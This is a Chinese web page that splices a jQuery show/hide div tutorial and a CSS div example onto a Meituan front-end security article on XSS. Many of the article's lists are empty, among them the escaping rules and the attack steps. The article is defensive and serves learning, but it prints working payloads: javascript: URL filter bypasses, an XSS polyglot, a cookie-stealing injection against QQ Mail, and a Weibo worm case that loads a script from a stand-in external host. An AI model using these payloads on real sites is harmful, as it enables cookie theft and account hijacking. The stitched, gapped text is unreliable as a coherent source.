html頁面,顯示的內容太多,會影響用戶體驗,如果有一些,點擊才出現的內容,就可以減少內容的干擾。使用jquery就可以很快的實現。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>div隱藏測試</title> <script src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.8.0.js"> </script> </head> <body> <button id="controller">隱藏或者顯示</button> <div id="contents" style="display: none;"> <p>div的內容</p> </div> <script> $("#controller").click(function () { if ($("#contents").is(":hidden")) { $("#contents").show() } else { $("#contents").hide() } }) </script> </body> </html>
$("#contents").is(":hidden") 可以判斷是否是隱藏
$("#contents").show() 表示display:block,
$("#contents").hide() 表示display:none;
操作元素的屬性
$("#contents").attr("style","display:none;"); //隱藏div
$("#contents").attr("style","display:block;"); //顯示div
也可以操作css屬性
$("#contents").css("display","none"); //隱藏div
$("#contents").css("display","block"); //顯示div
也可以直接使用toggle轉換開關實現
$("#contents").toggle()
、HTML 塊元素
二、HTML 內聯元素
三、HTML <div> 元素
四、div的使用
<!doctype html> <html> <head> <meta charset="utf-8"> <title>無標題文檔</title> </head> <style> .all{ width:500px; height:500px; margin:0 auto; background-color:#000; } .one{ height:100px; background-color:#89E1BF; } .two{ height:100px; background-color:#DEE099; } .three{ height:100px; background-color:#D7A1CE; } </style> <body> <!--父div,all是黑色--> <div class="all"> <!--子div,one是綠色--> <div class="one"> </div> <!--子divtwo,是黃色--> <div class="two"> </div> <!--子div,three是紫色--> <div class="three"> </div> </div> </body> </html>
演示效果如圖所示:
當當當,我是美團技術團隊的程序員鼓勵師美美~“基本功”專欄又來新文章了,這次是一個系列,一起來學習前端安全的那些事。我們將不斷梳理常見的前端安全問題以及對應的解決方案,希望可以幫助前端同學在日常開發中不斷預防和修復安全漏洞,Enjoy Reading!
背景
隨著互聯網的高速發展,信息安全問題已經成為企業最為關注的焦點之一,而前端又是引發企業安全問題的高危據點。在移動互聯網時代,前端人員除了傳統的 XSS、CSRF 等安全問題之外,又時常遭遇網絡劫持、非法調用 Hybrid API 等新型安全問題。當然,瀏覽器自身也在不斷在進化和發展,不斷引入 CSP、Same-Site Cookies 等新技術來增強安全性,但是仍存在很多潛在的威脅,這需要前端技術人員不斷進行“查漏補缺”。
前端安全
近幾年,美團業務高速發展,前端隨之面臨很多安全挑戰,因此積累了大量的實踐經驗。我們梳理了常見的前端安全問題以及對應的解決方案,將會做成一個系列,希望可以幫助前端同學在日常開發中不斷預防和修復安全漏洞。本文是該系列的第一篇。
今天我們講解一下 XSS ,主要包括:
XSS攻擊的介紹
在開始本文之前,我們先提出一個問題,請判斷以下兩個說法是否正確:
如果你還不能確定答案,那么可以帶著這些問題向下看,我們將逐步拆解問題。
XSS 漏洞的發生和修復
XSS 攻擊是頁面被注入了惡意的代碼,為了更形象的介紹,我們用發生在小明同學身邊的事例來進行說明。
一個案例
某天,公司需要一個搜索頁面,根據 URL 參數決定關鍵詞的內容。小明很快把頁面寫好并且上線。代碼如下:
<input type="text" value="<%=getParameter("keyword") %>"> <button>搜索</button> <div> 您搜索的關鍵詞是:<%=getParameter("keyword") %> </div>
然而,在上線后不久,小明就接到了安全組發來的一個神秘鏈接:
http://xxx/search?keyword="><script>alert('XSS');</script>
小明帶著一種不祥的預感點開了這個鏈接[請勿模仿,確認安全的鏈接才能點開]。果然,頁面中彈出了寫著"XSS"的對話框。
可惡,中招了!小明眉頭一皺,發現了其中的奧秘:
當瀏覽器請求 http://xxx/search?keyword="><script>alert('XSS');</script> 時,服務端會解析出請求參數 keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回給瀏覽器。形成了如下的 HTML:
<input type="text" value=""><script>alert('XSS');</script>"> <button>搜索</button> <div> 您搜索的關鍵詞是:"><script>alert('XSS');</script> </div>
瀏覽器無法分辨出 <script>alert('XSS');</script> 是惡意代碼,因而將其執行。
這里不僅僅 div 的內容被注入了,而且 input 的 value 屬性也被注入, alert 會彈出兩次。
面對這種情況,我們應該如何進行防范呢?
其實,這只是瀏覽器把用戶的輸入當成了腳本進行了執行。那么只要告訴瀏覽器這段內容是文本就可以了。
聰明的小明很快找到解決方法,把這個漏洞修復:
<input type="text" value="<%=escapeHTML(getParameter("keyword")) %>"> <button>搜索</button> <div> 您搜索的關鍵詞是:<%=escapeHTML(getParameter("keyword")) %> </div>
escapeHTML() 按照如下規則進行轉義:
經過了轉義函數的處理后,最終瀏覽器接收到的響應為:
<input type="text" value=""><script>alert('XSS');</script>"> <button>搜索</button> <div> 您搜索的關鍵詞是:"><script>alert('XSS');</script> </div>
惡意代碼都被轉義,不再被瀏覽器執行,而且搜索詞能夠完美的在頁面顯示出來。
通過這個事件,小明學習到了如下知識:
注意特殊的 HTML 屬性、JavaScript API
自從上次事件之后,小明會小心的把插入到頁面中的數據進行轉義。而且他還發現了大部分模板都帶有的轉義配置,讓所有插入到頁面中的數據都默認進行轉義。這樣就不怕不小心漏掉未轉義的變量啦,于是小明的工作又漸漸變得輕松起來。
但是,作為導演的我,不可能讓小明這么簡單、開心地改 Bug 。
不久,小明又收到安全組的神秘鏈接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,趕忙點開頁面。然而,頁面并沒有自動彈出萬惡的“XSS”。
小明打開對應頁面的源碼,發現有以下內容:
<a href="<%=escapeHTML(getParameter("redirect_to")) %>">跳轉...</a>
這段代碼,當攻擊 URL 為 http://xxx/?redirect_to=javascript:alert('XSS'),服務端響應就成了:
<a href="javascript:alert('XSS')">跳轉...</a>
雖然代碼不會立即執行,但一旦用戶點擊 a 標簽時,瀏覽器會就會彈出alert('xss')。
可惡,又失策了…
在這里,用戶的數據并沒有在位置上突破我們的限制,仍然是正確的 href 屬性。但其內容并不是我們所預期的類型。
原來不僅僅是特殊字符,連 javascript: 這樣的字符串如果出現在特定的位置也會引發 XSS 攻擊。
小明眉頭一皺,想到了解決辦法:
// 禁止 URL 以 "javascript:" 開頭 xss=getParameter("redirect_to").startsWith('javascript:'); if (!xss) { <a href="<%=escapeHTML(getParameter("redirect_to"))%>"> 跳轉... </a> } else { <a href="/404"> 跳轉... </a> }
只要 URL 的開頭不是 javascript:,就安全了吧?
安全組隨手又扔了一個連接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')
這也能執行?…..好吧,瀏覽器就是這么強大。
小明欲哭無淚,在判斷 URL 開頭是否為 javascript: 時,先把用戶輸入轉成了小寫,然后再進行比對。
不過,所謂“道高一尺,魔高一丈”。面對小明的防護策略,安全組就構造了這樣一個連接:
http://xxx/?redirect_to=%20javascript:alert('XSS')
%20javascript:alert('XSS') 經過 URL 解析后變成 javascript:alert('XSS'),這個字符串以空格開頭。這樣攻擊者可以繞過后端的關鍵詞規則,又成功的完成了注入。
最終,小明選擇了白名單的方法,徹底解決了這個漏洞:
// 根據項目情況進行過濾,禁止掉 "javascript:" 鏈接、非法 scheme 等 allowSchemes=["http", "https"]; valid=isValid(getParameter("redirect_to"), allowSchemes); if (valid) { <a href="<%=escapeHTML(getParameter("redirect_to"))%>"> 跳轉... </a> } else { <a href="/404"> 跳轉... </a> }
通過這個事件,小明學習到了如下知識:
根據上下文采用不同的轉義規則
某天,小明為了加快網頁的加載速度,把一個數據通過 JSON 的方式內聯到 HTML 中:
<script> var initData=<%=data.toJSON() %> </script>
插入 JSON 的地方不能使用 escapeHTML(),因為轉義 " 后,JSON 格式會被破壞。
但安全組又發現有漏洞,原來這樣內聯 JSON 也是不安全的:
于是我們又要實現一個 escapeEmbedJSON() 函數,對內聯 JSON 進行轉義。轉義規則如下:
修復后的代碼如下:
<script> var initData=<%=escapeEmbedJSON(data.toJSON()) %>
通過這個事件,小明學習到了如下知識:
漏洞總結
小明的例子講完了,下面我們來系統的看下 XSS 有哪些注入的方法:
總之,如果開發者沒有將用戶輸入的文本進行合適的過濾,就貿然插入到 HTML 中,這很容易造成注入漏洞。攻擊者可以利用漏洞,構造出惡意的代碼指令,進而利用惡意代碼危害數據安全。
XSS攻擊的分類
通過上述幾個例子,我們已經對 XSS 有了一些認識。
什么是 XSS
Cross-Site Scripting(跨站腳本攻擊)簡稱 XSS,是一種代碼注入攻擊。攻擊者通過在目標網站上注入惡意腳本,使之在用戶的瀏覽器上運行。利用這些惡意腳本,攻擊者可獲取用戶的敏感信息如 Cookie、SessionID 等,進而危害數據安全。
為了和 CSS 區分,這里把攻擊的第一個字母改成了 X,于是叫做 XSS。
XSS 的本質是:惡意代碼未經過濾,與網站正常的代碼混在一起;瀏覽器無法分辨哪些腳本是可信的,導致惡意腳本被執行。
而由于直接在用戶的終端執行,惡意代碼能夠直接獲取用戶的信息,或者利用這些信息冒充用戶向網站發起攻擊者定義的請求。
在部分情況下,由于輸入的限制,注入的惡意腳本比較短。但可以通過引入外部的腳本,并由瀏覽器執行,來完成比較復雜的攻擊策略。
這里有一個問題:用戶是通過哪種方法“注入”惡意腳本的呢?
不僅僅是業務上的“用戶的 UGC 內容”可以進行注入,包括 URL 上的參數等都可以是攻擊的來源。在處理輸入時,以下內容都不可信:
XSS 分類
根據攻擊的來源,XSS 攻擊可分為存儲型、反射型和 DOM 型三種。
存儲型 XSS
存儲型 XSS 的攻擊步驟:
這種攻擊常見于帶有用戶保存數據的網站功能,如論壇發帖、商品評論、用戶私信等。
反射型 XSS
反射型 XSS 的攻擊步驟:
反射型 XSS 跟存儲型 XSS 的區別是:存儲型 XSS 的惡意代碼存在數據庫里,反射型 XSS 的惡意代碼存在 URL 里。
反射型 XSS 漏洞常見于通過 URL 傳遞參數的功能,如網站搜索、跳轉等。
由于需要用戶主動打開惡意的 URL 才能生效,攻擊者往往會結合多種手段誘導用戶點擊。
POST 的內容也可以觸發反射型 XSS,只不過其觸發條件比較苛刻(需要構造表單提交頁面,并引導用戶點擊),所以非常少見。
DOM 型 XSS
DOM 型 XSS 的攻擊步驟:
DOM 型 XSS 跟前兩種 XSS 的區別:DOM 型 XSS 攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬于服務端的安全漏洞。
XSS攻擊的預防
通過前面的介紹可以得知,XSS 攻擊有兩大要素:
針對第一個要素:我們是否能夠在用戶輸入的過程,過濾掉用戶輸入的惡意代碼呢?
輸入過濾
在用戶提交時,由前端過濾輸入,然后提交到后端。這樣做是否可行呢?
答案是不可行。一旦攻擊者繞過前端過濾,直接構造請求,就可以提交惡意代碼了。
那么,換一個過濾時機:后端在寫入數據庫前,對輸入進行過濾,然后把“安全的”內容,返回給前端。這樣是否可行呢?
我們舉一個例子,一個正常的用戶輸入了 5 < 7 這個內容,在寫入數據庫前,被轉義,變成了 5 < 7。
問題是:在提交階段,我們并不確定內容要輸出到哪里。
這里的“并不確定內容要輸出到哪里”有兩層含義:
所以,輸入側過濾能夠在某些情況下解決特定的 XSS 問題,但會引入很大的不確定性和亂碼問題。在防范 XSS 攻擊時應避免此類方法。
當然,對于明確的輸入類型,例如數字、URL、電話號碼、郵件地址等等內容,進行輸入過濾還是必要的。
既然輸入過濾并非完全可靠,我們就要通過“防止瀏覽器執行惡意代碼”來防范 XSS。這部分分為兩類:
預防存儲型和反射型 XSS 攻擊
存儲型和反射型 XSS 都是在服務端取出惡意代碼后,插入到響應 HTML 里的,攻擊者刻意編寫的“數據”被內嵌到“代碼”中,被瀏覽器所執行。
預防這兩種漏洞,有兩種常見做法:
純前端渲染
純前端渲染的過程:
在純前端渲染中,我們會明確的告訴瀏覽器:下面要設置的內容是文本(.innerText),還是屬性(.setAttribute),還是樣式(.style)等等。瀏覽器不會被輕易的被欺騙,執行預期外的代碼了。
但純前端渲染還需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,請參考下文”預防 DOM 型 XSS 攻擊“部分)。
在很多內部、管理系統中,采用純前端渲染是非常合適的。但對于性能要求高,或有 SEO 需求的頁面,我們仍然要面對拼接 HTML 的問題。
轉義 HTML
如果拼接 HTML 是必要的,就需要采用合適的轉義庫,對 HTML 模板各處插入點進行充分的轉義。
常用的模板引擎,如 doT.js、ejs、FreeMarker 等,對于 HTML 轉義通常只有一個規則,就是把 & < > " ' / 這幾個字符轉義掉,確實能起到一定的 XSS 防護作用,但并不完善:
所以要完善 XSS 防護措施,我們要使用更完善更細致的轉義策略。
例如 Java 工程里,常用的轉義庫為 org.owasp.encoder。以下代碼引用自 org.owasp.encoder 的官方說明。
<!-- HTML 標簽內文字內容 --> <div><%=Encode.forHtml(UNTRUSTED) %></div> <!-- HTML 標簽屬性值 --> <input value="<%=Encode.forHtml(UNTRUSTED) %>" /> <!-- CSS 屬性值 --> <div style="width:<=Encode.forCssString(UNTRUSTED) %>"> <!-- CSS URL --> <div style="background:<=Encode.forCssUrl(UNTRUSTED) %>"> <!-- JavaScript 內聯代碼塊 --> <script> var msg="<%=Encode.forJavaScript(UNTRUSTED) %>"; alert(msg); </script> <!-- JavaScript 內聯代碼塊內嵌 JSON --> <script> var __INITIAL_STATE__=JSON.parse('<%=Encoder.forJavaScript(data.to_json) %>'); </script> <!-- HTML 標簽內聯監聽器 --> <button onclick="alert('<%=Encode.forJavaScript(UNTRUSTED) %>');"> click me </button> <!-- URL 參數 --> <a href="/search?value=<%=Encode.forUriComponent(UNTRUSTED) %>&order=1#top"> <!-- URL 路徑 --> <a href="/page/<%=Encode.forUriComponent(UNTRUSTED) %>"> <!-- URL. 注意:要根據項目情況進行過濾,禁止掉 "javascript:" 鏈接、非法 scheme 等 --> <a href='<%=urlValidator.isValid(UNTRUSTED) ? Encode.forHtml(UNTRUSTED) : "/404" %>'> link </a>
可見,HTML 的編碼是十分復雜的,在不同的上下文里要使用相應的轉義規則。
預防 DOM 型 XSS 攻擊
DOM 型 XSS 攻擊,實際上就是網站前端 JavaScript 代碼本身不夠嚴謹,把不可信的數據當作代碼執行了。
在使用 .innerHTML、.outerHTML、document.write() 時要特別小心,不要把不可信的數據作為 HTML 插到頁面上,而應盡量使用 .textContent、.setAttribute() 等。
如果用 Vue/React 技術棧,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 階段避免 innerHTML、outerHTML 的 XSS 隱患。
DOM 中的內聯事件監聽器,如 location、onclick、onerror、onload、onmouseover 等,<a> 標簽的 href 屬性,JavaScript 的 eval()、setTimeout()、setInterval() 等,都能把字符串作為代碼運行。如果不可信的數據拼接到字符串中傳遞給這些 API,很容易產生安全隱患,請務必避免。
<!-- 內聯事件監聽器中包含惡意代碼 --> <img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,"> <!-- 鏈接內包含惡意代碼 --> <a href="UNTRUSTED">1</a> <script> // setTimeout()/setInterval() 中調用惡意代碼 setTimeout("UNTRUSTED") setInterval("UNTRUSTED") // location 調用惡意代碼 location.href='UNTRUSTED' // eval() 中調用惡意代碼 eval("UNTRUSTED") </script>
如果項目中有用到這些的話,一定要避免在字符串中拼接不可信數據。
其他XSS防范措施
雖然在渲染頁面和執行 JavaScript 時,通過謹慎的轉義可以防止 XSS 的發生,但完全依靠開發的謹慎仍然是不夠的。以下介紹一些通用的方案,可以降低 XSS 帶來的風險和后果。
Content Security Policy
嚴格的 CSP 在 XSS 的防范中可以起到以下的作用:
關于 CSP 的詳情,請關注前端安全系列后續的文章。
輸入內容長度控制
對于不受信任的輸入,都應該限定一個合理的長度。雖然無法完全防止 XSS 發生,但可以增加 XSS 攻擊的難度。
其他安全措施
XSS的檢測
上述經歷讓小明收獲頗豐,他也學會了如何去預防和修復 XSS 漏洞,在日常開發中也具備了相關的安全意識。但對于已經上線的代碼,如何去檢測其中有沒有 XSS 漏洞呢?
經過一番搜索,小明找到了兩個方法:
在Unleashing an Ultimate XSS Polyglot一文中,小明發現了這么一個字符串:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
它能夠檢測到存在于 HTML 屬性、HTML 文字內容、HTML 注釋、跳轉鏈接、內聯 JavaScript 字符串、內聯 CSS 樣式表等多種上下文中的 XSS 漏洞,也能檢測 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能繞過一些 XSS 過濾器。
小明只要在網站的各輸入框中提交這個字符串,或者把它拼接到 URL 參數上,就可以進行檢測了。
http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E
除了手動檢測之外,還可以使用自動掃描工具尋找 XSS 漏洞,例如 Arachni、Mozilla HTTP Observatory、w3af 等。
XSS攻擊的總結
我們回到最開始提出的問題,相信同學們已經有了答案:
1. XSS 防范是后端 RD 的責任,后端 RD 應該在所有用戶提交數據的接口,對敏感字符進行轉義,才能進行下一步操作。
不正確。因為:防范存儲型和反射型 XSS 是后端 RD 的責任。而 DOM 型 XSS 攻擊不發生在后端,是前端 RD 的責任。防范 XSS 是需要后端 RD 和前端 RD 共同參與的系統工程。轉義應該在輸出 HTML 時進行,而不是在提交用戶輸入時。
2. 所有要插入到頁面上的數據,都要通過一個敏感字符過濾函數的轉義,過濾掉通用的敏感字符后,就可以插入到頁面了。
不正確。不同的上下文,如 HTML 屬性、HTML 文字內容、HTML 注釋、跳轉鏈接、內聯 JavaScript 字符串、內聯 CSS 樣式表等,所需要的轉義規則不一致。業務 RD 需要選取合適的轉義庫,并針對不同的上下文調用不同的轉義規則。
整體的 XSS 防范是非常復雜和繁瑣的,我們不僅需要在全部需要轉義的位置,對數據進行對應的轉義。而且要防止多余和錯誤的轉義,避免正常的用戶輸入出現亂碼。
雖然很難通過技術手段完全避免 XSS,但我們可以總結以下原則減少漏洞的產生:
XSS攻擊案例
QQ 郵箱 m.exmail.qq.com 域名反射型 XSS 漏洞
攻擊者發現 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 這個 URL 的參數 uin、domain 未經轉義直接輸出到 HTML 中。
于是攻擊者構建出一個 URL,并引導用戶去點擊:
http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
用戶點擊這個 URL 時,服務端取出 URL 參數,拼接到 HTML 響應中:
<script> getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...
瀏覽器接收到響應后就會執行 alert(document.cookie),攻擊者通過 JavaScript 即可竊取當前用戶在 QQ 郵箱域名下的 Cookie ,進而危害數據安全。
新浪微博名人堂反射型 XSS 漏洞
攻擊者發現 http://weibo.com/pub/star/g/xyyyd 這個 URL 的內容未經過濾直接輸出到 HTML 中。
于是攻擊者構建出一個 URL,然后誘導用戶去點擊:
http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>
用戶點擊這個 URL 時,服務端取出請求 URL,拼接到 HTML 響應中:
<li><a ><script src=//xxxx.cn/image/t.js></script>">按分類檢索</a></li>
瀏覽器接收到響應后就會加載執行惡意腳本 //xxxx.cn/image/t.js,在惡意腳本中利用用戶的登錄狀態進行關注、發微博、發私信等操作,發出的微博和私信可再帶上攻擊 URL,誘導更多人點擊,不斷放大攻擊范圍。這種竊用受害者身份發布惡意內容,層層放大攻擊范圍的方式,被稱為“XSS 蠕蟲”。
XSS攻擊擴展閱讀:Automatic Context-Aware Escaping
上文我們說到:
通常,轉義庫是不能判斷插入點上下文的(Not Context-Aware),實施轉義規則的責任就落到了業務 RD 身上,需要每個業務 RD 都充分理解 XSS 的各種情況,并且需要保證每一個插入點使用了正確的轉義規則。
這種機制工作量大,全靠人工保證,很容易造成 XSS 漏洞,安全人員也很難發現隱患。
2009年,Google 提出了一個概念叫做:Automatic Context-Aware Escaping。
所謂 Context-Aware,就是說模板引擎在解析模板字符串的時候,就解析模板語法,分析出每個插入點所處的上下文,據此自動選用不同的轉義規則。這樣就減輕了業務 RD 的工作負擔,也減少了人為帶來的疏漏。
在一個支持 Automatic Context-Aware Escaping 的模板引擎里,業務 RD 可以這樣定義模板,而無需手動實施轉義規則:
<html> <head> <meta charset="UTF-8"> <title>{{.title}}</title> </head> <body> <a href="{{.url}}">{{.content}}</a> </body> </html>
模板引擎經過解析后,得知三個插入點所處的上下文,自動選用相應的轉義規則:
<html> <head> <meta charset="UTF-8"> <title>{{.title | htmlescaper}}</title> </head> <body> <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a> </body> </html>
目前已經支持 Automatic Context-Aware Escaping 的模板引擎有:
課后作業:XSS攻擊小游戲
以下是幾個 XSS 攻擊小游戲,開發者在網站上故意留下了一些常見的 XSS 漏洞。玩家在網頁上提交相應的輸入,完成 XSS 攻擊即可通關。
在玩游戲的過程中,請各位讀者仔細思考和回顧本文內容,加深對 XSS 攻擊的理解。
alert(1) to win
prompt(1) to win
XSS game
參考文獻
下期預告
前端安全系列文章將對 XSS、CSRF、網絡劫持、Hybrid 安全等安全議題展開論述。下期我們要討論的是 CSRF 攻擊,敬請期待。
作者介紹
李陽,美團點評前端工程師。2016年加入美團點評,負責美團外賣 Hybrid 頁面性能優化相關工作。
歡迎加入美團前端安全技術交流群,跟作者零距離交流。請加美美同學的微信(微信號:MTDPtech01),回復:前端安全,美美會自動拉你進群。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。